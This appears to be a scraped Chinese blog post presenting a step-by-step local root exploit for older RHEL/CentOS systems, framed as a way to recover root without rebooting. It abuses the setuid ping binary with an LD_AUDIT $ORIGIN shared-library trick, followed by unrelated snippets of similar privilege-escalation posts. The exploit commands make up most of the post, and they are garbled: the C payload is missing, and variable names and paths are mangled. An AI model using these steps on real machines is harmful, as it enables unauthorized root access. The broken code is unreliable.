提權學習 Linux普通使用者提權為root

2021-09-28 16:17:47 字數 1355 閱讀 9391

當你的才華

還撐不起你的野心時

那你就應該靜下心來學習

目錄

linux普通使用者提權為root

接下來直接看例項

我記得我以前用linux的時候,忘記root密碼是常有的事情,很多時候大家都會選擇重啟系統,進入單使用者模式重置root密碼,但在實際運維工作中,就未必能任性重啟了。

分享乙個不必重啟也能切換至root使用者的方法給大家。

1. 檢視系統環境

cat  /etc/centos-release

2. 建立普通使用者進行許可權測試

useradd ce

su ce

cat /etc/shadow

3. 開始提權操作

利用ping命令的suid特性,建立乙個鏈結。(ln  /bin/ping   /tmp/cetest/target)

ll /tmp/ -d

cd /tmp/

mkdir cetest //建立目錄

ll /bin/ping

ln /bin/ping /tmp/cetest/target //利用ping命令的suid特性,建立乙個鏈結

ll /tmp/

test/target

exec 3< /tmp/cetest/target //呼叫命令

rm -rf /tmp/retest

4. 建立乙個c程式

建立vim test.c  

void __attribute__((constructor)) init()

5. 編譯c程式

gcc -w -fpic -shared -o /tmp/root test.c

ld_audit=

"\$origin"

exec /proc/self/fd/3

注:執行程式後,會出現乙個報錯,但不用管,此時應該順利切換至root使用者了。

我不需要自由,只想揹著她的夢

一步步向前走,她給的永遠不重

當你的才華

RHEL5 6普通使用者提權

1 2 root ns whoami 我是誰 root 1 2 3 4 root ns useradd putong root ns su putong putong ns whoami putong 1 2 3 4 5 6 7 8 9 10 11 12 putong ns ll d tmp drw...

RHEL6普通使用者提權到root

需要首先有個普通使用者的shell 實驗環境 rhel6.8 應該只針對rhel 5 6,別的版本沒試 如下都是在普通使用者下執行的,例如oracle使用者 mkdir tmp exploit ln bin ping tmp exploit target exec 3 tmp exploit tar...

Linux提權思路

檢視系統發行版本cat etc issue或者cat etc release,檢視核心資訊uname a。根據版本資訊使用searchsploit 來查詢發行的核心版本是否存在核心溢位漏洞,如果存在漏洞可以直接利用漏洞 來提公升許可權 上傳漏洞 使用gcc c o exploit將 編譯成名為exp...